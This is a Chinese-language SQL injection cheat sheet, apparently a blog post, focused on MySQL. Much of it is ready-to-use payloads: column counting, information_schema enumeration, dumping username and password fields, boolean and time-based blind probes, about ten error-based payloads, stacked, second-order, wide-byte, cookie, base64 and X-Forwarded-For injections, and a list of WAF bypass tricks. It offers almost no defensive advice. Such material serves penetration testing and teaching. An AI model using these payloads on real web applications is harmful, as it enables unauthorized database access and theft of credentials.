SQL 注入總結
0x01 什么是SQL注入
SQL注入即是指web應用程序對用戶輸入數據的合法性沒有判斷或過濾不嚴,攻擊者可以在web應用程序中事先定義好的查詢語句的結尾上添加額外的SQL語句,在管理員不知情的情況下實現非法操作,以此來實現欺騙數據庫服務器執行非授權的任意查詢,從而進一步得到相應的數據信息。
0x02 SQL注入的分類
按變量類型分
-
數字型
-
字符型
按HTTP提交方式分
-
GET注入
-
POST注入
-
Cookie注入
按注入方式分
-
報錯注入
-
盲注
-
布爾盲注
-
時間盲注
-
union注入
編碼問題
-
寬字節注入
0x03識別后台數據庫
根據操作系統平台
sql server
:Windows(IIS)
MySQL
:Apache
根據web語言
Microsoft SQL Server
:ASP和.Net
MySQL
:PHP
Oracle/MySQL
:java
(以下是對mysql數據庫的總結,其他類型數據庫會不定時更新)
0x04 MySQL 5.0以上和MySQL 5.0以下版本的區別
MySQL 5.0以上版本存在一個存儲着數據庫信息的信息數據庫--
INFORMATION_SCHEMA
,其中保存着關於MySQL服務器所維護的所有其他數據庫的信息。如數據庫名,數據庫的表,表欄的數據類型與訪問權限等。而5.0以下沒有。
information_schema
系統數據庫,記錄當前數據庫的數據庫,表,列,用戶權限等信息
SCHEMATA
儲存mysql所有數據庫的基本信息,包括數據庫名,編碼類型路徑等
TABLES
儲存mysql中的表信息,包括這個表是基本表還是系統表,數據庫的引擎是什么,表有多少行,創建時間,最后更新時間等
COLUMNS
儲存mysql中表的列信息,包括這個表的所有列以及每個列的信息,該列是表中的第幾列,列的數據類型,列的編碼類型,列的權限,列的注釋等
0x05 基本手工注入流程
要從select語句中獲得有用的信息,必須確定該數據庫中的字段數和那個字段能夠輸出,這是前提。
1. MySQL >= 5.0
(1)獲取字段數
-
1
order by n /*通過不斷嘗試改變n的值來觀察頁面反應確定字段數*/
(2)獲取系統數據庫名
在MySQL >5.0中,數據庫名存放在information_schema數據庫下schemata表schema_name字段中
-
1
select null,null,schema_name from information_schema.schemata
(3)獲取當前數據庫名
-
1
select null,null,...,database()
(4)獲取數據庫中的表
-
1
select null,null,...,group_concat(table_name) from information_schema.tables where table_schema=database()
或
-
1
select null,null,...,table_name from information_schema.tables where table_schema=database() limit 0,1
(5)獲取表中的字段
這里假設已經獲取到表名為user
-
1
select null,null,...,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'
(6)獲取各個字段值
這里假設已經獲取到表名為user,且字段為username和password
-
1
select null,group_concat(username,password) from users
2.MySQL < 5.0
MySQL < 5.0 沒有信息數據庫
information_schema
,所以只能手工枚舉爆破(二分法思想)。
該方式通常用於盲注。
相關函數
length(str)
:返回字符串str的長度
substr(str, pos, len)
:將str從pos位置開始截取len長度的字符進行返回。注意這里的pos位置是從1開始的,不是數組的0開始
mid(str,pos,len)
:跟上面的一樣,截取字符串
ascii(str)
:返回字符串str的最左面字符的ASCII代碼值
ord(str)
:將字符或布爾類型轉成ascll碼
if(a,b,c)
:a為條件,a為true,返回b,否則返回c,如if(1>2,1,0),返回0
(1)基於布爾的盲注
-
1
and ascii(substr((select database()),1,1))>64 /*判斷數據庫名的第一個字符的ascii值是否大於64*/
(2)基於時間的盲注
-
1
id=1 union select if(SUBSTRING(user(),1,4)='root',sleep(4),1),null,null /*提取用戶名前四個字符做判斷,正確就延遲4秒,錯誤返回1*/
0x06 常用注入方式
注釋符:
-
1
-
2
-
3
#
-- (有空格)或--+
/**/
內聯注釋:
-
1
/*!...*/
union注入
-
1
id =-1 union select 1,2,3 /*獲取字段*/
Boolean注入
-
1
id=1' substr(database(),1,1)='t'--+ /*判斷數據名長度*/
報錯注入
1 floor()和rand()
-
1
union select count(*),2,concat(':',(select database()),':',floor(rand()*2))as a from information_schema.tables group by a /*利用錯誤信息得到當前數據庫名*/
2 extractvalue()
-
1
id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))
3 updatexml()
-
1
id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))
4 geometrycollection()
-
1
id=1 and geometrycollection((select * from(select * from(select user())a)b))
5 multipoint()
-
1
id=1 and multipoint((select * from(select * from(select user())a)b))
6 polygon()
-
1
id=1 and polygon((select * from(select * from(select user())a)b))
7 multipolygon()
-
1
id=1 and multipolygon((select * from(select * from(select user())a)b))
8 linestring()
-
1
id=1 and linestring((select * from(select * from(select user())a)b))
9 multilinestring()
-
1
id=1 and multilinestring((select * from(select * from(select user())a)b))
10 exp()
-
1
id=1 and exp(~(select * from(select user())a))
時間注入
-
1
id = 1 and if(length(database())>1,sleep(5),1)
堆疊查詢注入
-
1
id = 1';select if(sub(user(),1,1)='r',sleep(3),1)%23
二次注入
假如在如下場景中,我們瀏覽一些網站的時候,可以現在注冊見頁面注冊username=test',接下來訪問xxx.php?username=test',頁面返回id=22;
接下來再次發起請求xxx.php?id=22,這時候就有可能發生sql注入,比如頁面會返回MySQL的錯誤。
訪問 xxx.php?id=test' union select 1,user(),3%23,獲得新的id=40,得到user()的結果,利用這種注入方式會得到數據庫中的值。
寬字節注入
利用條件:
-
[ ] 查詢參數是被單引號包圍的,傳入的單引號又被轉義符()轉義,如在后台數據庫中對接受的參數使用addslashes()或其過濾函數
-
[ ] 數據庫的編碼為GBK
利用方式
-
1
id = -1%DF' union select 1,user(),3,%23
在上述條件下,單引號'被轉義為%5c,所以就構成了%df%5c,而在GBK編碼方式下,%df%5c是一個繁體字“連”,所以單引號成功逃逸。
Cookie注入
當發現在url中沒有請求參數,單數卻能得到結果的時候,可以看看請求參數是不是在cookie中,然后利用常規注入方式在cookie中注入測試即可,只是注入的位置在cookie中,與url中的注入沒有區別。
-
1
Cookie: id = 1 and 1=1
base64注入
對參數進行base64編碼,再發送請求。
說明:id=1',1的base64編碼為
MSc=
,而
=
的url編碼為
%3d
,所以得到以下結果:
-
1
id=MSc%3d
XFF注入
XFF(X-Forward-For),簡稱XFF頭,它代表客戶端真實的ip地址
-
1
X-Forward-For:127.0.0.1' select 1,2,user()
0x07 SQL注入繞過技術
-
大小寫繞過
-
雙寫繞過
-
編碼繞過 (url全編碼、十六進制)
-
內聯注釋繞過
-
關鍵字替換
-
逗號繞過substr、mid()函數中可以利用from to來擺脫對逗號的利用;limit中可以利用offset來擺脫對逗號的利用
-
比較符號( >、< )繞過 (greatest、between and)
-
邏輯符號的替換 (and=&& or=|| xor=| not=!)
-
空格繞過 (用括號,+等繞過)
-
等價函數繞過
-
hex()、bin()=ascii()
-
concat_ws()=group_concat()
-
mid()、substr()=substring()
-
http參數污染 ( id=1 union select+1,2,3+from+users+where+id=1– 變為 id=1 union select+1&id=2,3+from+users+where+id=1– )
-
緩沖區溢出繞過 (id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 ,27,28,29,30,31,32,33,34,35,36–+ 其中0xAAAAAAAAAAAAAAAAAAAAA這里A越多越好。。一般會存在臨界值,其實這種方法還對后綴名的繞過也有用)